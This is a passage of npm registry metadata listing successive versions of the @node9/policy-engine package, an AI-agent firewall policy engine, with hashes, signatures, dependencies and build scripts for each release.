firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.5.0_1788038605691_0.06657154255070541","host":"s3://npm-registry-packages-npm-production"}},"2.6.1":{"name":"@node9/policy-engine","version":"2.6.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.6.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"e94c0a0184ea88f48c962f60a1d6b1bbb7e1871c","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.6.1.tgz","fileCount":7,"integrity":"sha512-X1kPKmgkY1aSGPGlwFjJ0HtrgVlQkOo+ge3Nz8lwcHT9l9u38To/UrKSYF8t5QAD53zWeQVVcctBIYuktGGx/A==","signatures":[{"sig":"MEYCIQCox6huxw//BFh+DCLwNnagteVPjvhJJa0JN7H9rwwG0QIhAKC63QQyqjwPdTvjGY4+5bOkatYFo5qAvp8CcvncY2T0","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQC/TjFnrOOJPvCK1Yn4yKCSSi+3zjc/r45l1UDgTvTcPAIhALqkQDHLtQrePZCsNbmWIcAUOXzusSXTXdZKkinha6Da","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.6.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"edf937e76b655916c32a2e25cf21ff82c3d223fa","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.6.1_1788124832121_0.1543906067028773","host":"s3://npm-registry-packages-npm-production"}},"2.6.2":{"name":"@node9/policy-engine","version":"2.6.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.6.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"7c385042c92853e0f00bacb4d4eaef0e864aa96a","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.6.2.tgz","fileCount":7,"integrity":"sha512-ZFO5CN57J8KYzNz8lgdDUseboOdhELq6r2PtmuEC8Byht0vojvXO6l6nAFL/3pU6+X6y7Fe+atMWZV8P82HIAg==","signatures":[{"sig":"MEUCIQCUkyn2QPY9s/1E+CbvHs7vZHNF8KJdqgetJhflAS858wIge9iNbzhUWi7rzDngoM0P67gER02xt0N5f/muWyDEUdE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIDWGHWdRgObUBc3Fufs8Z6snF0hecGYffg+9z3kXrSsQAiEArQY5XA/KlFMZeu9srPqTgXSLJZ6Y/KI69zfRxdHyNIg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.6.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"c7f1df4890497b4f4dd82699f1d49288aaafb9a0","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.6.2_1788270414999_0.31384595639110846","host":"s3://npm-registry-packages-npm-production"}},"2.7.0":{"name":"@node9/policy-engine","version":"2.7.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.7.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"2b7635d5d965743a978e90147fb34f1c0f76f285","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.7.0.tgz","fileCount":7,"integrity":"sha512-6gfCQ5LZIcO9LjrVddU378LUwYZYkH2k5YJaCmG72uhcPye4oWh4a5MY9/ZUnj6uROZDQ5b9mQAfWctGAvN6qA==","signatures":[{"sig":"MEUCIQCmbFYArAGIsCSCKKkiZH4jymfUuRwQ1X/7M/cSY7G0qgIgBMVZmZrSXz4qguSpARB0kc8Z+4S4I0IpQbfCe9gtwjA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIC6amv/ZzHIbU9R+3u0yqLQh8zyuknkmkgsWb+APXtYGAiANYm/RmQY3UyNkiugAhF7drPB060Qu+Qi7WVes0NXYhQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.7.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"70cc4e500f4bedbfa636ecc9d54559b19f1de82c","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.7.0_1788285644693_0.2882006123640164","host":"s3://npm-registry-packages-npm-production"}},"2.7.1":{"name":"@node9/policy-engine","version":"2.7.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.7.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"7a304a99c4e9e4692a8ed0b7787b373d82d8fce1","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.7.1.tgz","fileCount":7,"integrity":"sha512-IXqp1k9vlKYef2wBWVVDTeHoX5p8yCoUORUniv5WYO3gcw9E+32H4bs9P9sVnVgPnd7TzbYy/WCSAfmPmnK8xw==","signatures":[{"sig":"MEUCIQCViL6GZVAbi0WZ2ukLSjBzGSq6YmCn8hWWRA+kCz5m2gIgaSu1ACGU/9qdPqef6loE2ypWFsU6nkQRXAB6TP3n/eQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIHEkJSMmd56uSWuUThP77R2sx5cVwcR/eJdglL5l/VtoAiACY2MPUC1NV/v069evGt0HdW+XfsUPvP1MESj/6XhPfQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.7.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f80ac80f906889cbd933bacad2c71bea29d49a1e","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.7.1_1788294545080_0.8660599883739903","host":"s3://npm-registry-packages-npm-production"}},"2.7.2":{"name":"@node9/policy-engine","version":"2.7.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.7.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"fcacb2cc83b0e5e5550a0facf869f76e5873764b","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.7.2.tgz","fileCount":7,"integrity":"sha512-zJsqAjAysg8TaciBxvcXWdfXyys9Ifh8iEysKP2brGtlp+pJgh7lpTNytgj3J/ftQqXxfSxdnAbCFCGfJhIpmg==","signatures":[{"sig":"MEUCIQD/JJxPZLBMKRxey3G1oSrL3PoY+CmYZHXjrzISQoyJXwIgemGJun1iAbYZZFn2KAl5yy2nbWfOeh6u8SLQZieXbdA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQD5c1vq/Zaw+EfFD+pxDKt2aSFPr9NZYrE9+P4wgm2jtwIhAOv6pzZ/8XrO8N40aA7ioPLsikZNmx6QHOJ/OaInFkMd","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.7.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2f38af190a816731e083d10113ef09fae5adaf2e","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.7.2_1788327343044_0.0810832751462669","host":"s3://npm-registry-packages-npm-production"}},"2.7.3":{"name":"@node9/policy-engine","version":"2.7.3","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.7.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"a9b9d35ee3b2841c3caeb9de1595b12e38ad0a14","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.7.3.tgz","fileCount":7,"integrity":"sha512-kK4YTox4GQmN45EaV6Nks9kvm/1EWp0rdl7FXLIXXH7dHdy5PQb1osdrfCxrEY957O0S/wignTsHSKM7x5Zr+g==","signatures":[{"sig":"MEUCIQD+2K4o8UxYgMN8rDEWqguFK3y3J/jU82/dyC6RW87CAgIgbVbZ4XmWbK1ZJKd4fFxQC3LYqL1Sig3bdkY1pytD090=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQDWRhCzAB1vwadS3zijgEAQ+NG4F7YMlvJpDYgINQscUQIhAL4ekfBeNmMkDMLl8ax/zPdWBOEwMEwmAz55KqkNzdoG","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.7.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"76eebdd3ac25ad4cb7d6fead04887c4fe02a9806","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.7.3_1788375114030_0.4979009714310536","host":"s3://npm-registry-packages-npm-production"}},"2.7.4":{"name":"@node9/policy-engine","version":"2.7.4","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.7.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"7de959b0e695c264bf5a5e5e40902dc4b2ce7343","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.7.4.tgz","fileCount":7,"integrity":"sha512-qkuRDaKSwU97otrGbWG46harBivbpthO6u1/113rc9f6GWxo+kQGlcRgqaGGabuBiNgQ6x7qd52yTk2CZ++dIw==","signatures":[{"sig":"MEQCIGcr9vYYc/sxCi/0nrD9Vzcw7YElRTaKcDwfQMw+DU2eAiBiLFFfXcS2YDXr6yJGryslKRIthj2WKm3kbriwJFKjWg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQC7SL7LayL9oKyaa9knn8rIYJyMQf2NQZFvuVwpnJmAgAIhAMVDmiCaWwRXIccyicL7vHF0g4UzSAKjOtm386RKLSYl","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.7.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"383396ac1c24c71c2fa6c9eb9cd4e7e4c2441dfa","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.7.4_1788376802997_0.5769636610527167","host":"s3://npm-registry-packages-npm-production"}},"2.7.5":{"name":"@node9/policy-engine","version":"2.7.5","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.7.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"e85df26d8172f78fa0bbae80a777e98ee105805c","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.7.5.tgz","fileCount":7,"integrity":"sha512-H67B7UtTkXRISALlgBSShfvrj6J66J3oYYUJttJF18I3ZfBKvoP3CWVP7WIzM33qu+xLCTCmW9EUbeufS9a69g==","signatures":[{"sig":"MEYCIQCDwcVC1QVr2rNda+K+zOpjL21FeY2XcXbGWvz9UrP8hwIhAOVM1iP/ib+ZLAgveUrM7MXurYUkgyz1b/HRgbTn/YkZ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIBDvmihrbbCOnnkNrmYMelvF5Jiesonx2z2HL/JguUooAiEA1hn+hw4QaGIME+V2BsuLjFYsyt8UZYG3DyNwRYNSbno=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.7.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a98a4485d2ad262f48dd35a16dcb8b87060f0d75","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.7.5_1788423840320_0.9856978277745718","host":"s3://npm-registry-packages-npm-production"}},"2.8.0":{"name":"@node9/policy-engine","version":"2.8.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.8.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"1a4f1d0c47465533ea4aa0c89c85241477d5432c","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.8.0.tgz","fileCount":7,"integrity":"sha512-Nghzwj+yrqTilcs0z2GppKQqWMwbaARvPATNERRKYx2Prtg2xVqZ2j5jmjYUiKJ+Z+eKmGHAmRsxInxj/cJf9Q==","signatures":[{"sig":"MEYCIQDjQi5apmpfhtErp9/LKQhA0f3RfspzV/kyITQl09AKlwIhAIUYpa0DT77QNKBpb6j+rJ0IfHTy9T6Lajlr8duYB5wk","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIHLiTP1AAT9ztWZUOHmsJTo5gP6D8tgQ4gXvG+GE+zytAiAM4vDySjcwGvs1OFH95HGyAcZGlxXodrgrj6HdzQWxsw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.8.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"23498d832d1696fe81527132b31067a88bf5e3b4","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.8.0_1788433693700_0.7476670956486029","host":"s3://npm-registry-packages-npm-production"}},"2.8.1":{"name":"@node9/policy-engine","version":"2.8.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.8.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"d58b06bd0d9b66395631195b0cf0c3e251f76089","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.8.1.tgz","fileCount":7,"integrity":"sha512-b7TiPujB80H4zA7rdxWQwor2mGViiTWXzZKxnjcog1cAwf5gUhGH87M9lIfG8I2WFCrcNyvQP+VtWjJLmpH/WQ==","signatures":[{"sig":"MEUCIQDNnk41O2U+2TDP7+cVZOdc+ffe6lH6GfoLDk9W4sng9QIgW34+WrwMxwmPjVeoGMq+4ruBSSyn19DnfaIg2KqJiTc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIF7tl4P0Zj/VJVLVVuwqejOF8m1VXHUlbKjcswqdvkZtAiBZWsyZoZN4I9Uh2peNJmO/xR0Nc3f8EGgeAMWwhjMGeQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.8.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413571},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9bbbbaaadc27b17ea4f36d02c96c6d7fab6b2c71","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.8.1_1788450459472_0.4289083178208204","host":"s3://npm-registry-packages-npm-production"}},"2.8.2":{"name":"@node9/policy-engine","version":"2.8.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.8.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"6be02a52db415e8b4fb88d26861c5efd6ea67698","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.8.2.tgz","fileCount":7,"integrity":"sha512-Icea66BRzWGXiaqB5wOCAIdgQdK8pLNiGZ3BFNuDtetJRjPilMLffqnb0O5vlaR9hC0k04gDT8xumV/abiuzDQ==","signatures":[{"sig":"MEUCIQCNaG4vhmYBnChvsJ70YkXX1xtdbsk5VIGXPTEpO3oCKAIgDHtNsDbwqlihNr1zYPleas+XqZmT7nRrlyQXHTXe56Y=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIH5Uoj75dgIuH3P9y4dtbdbokPf1gUnzCb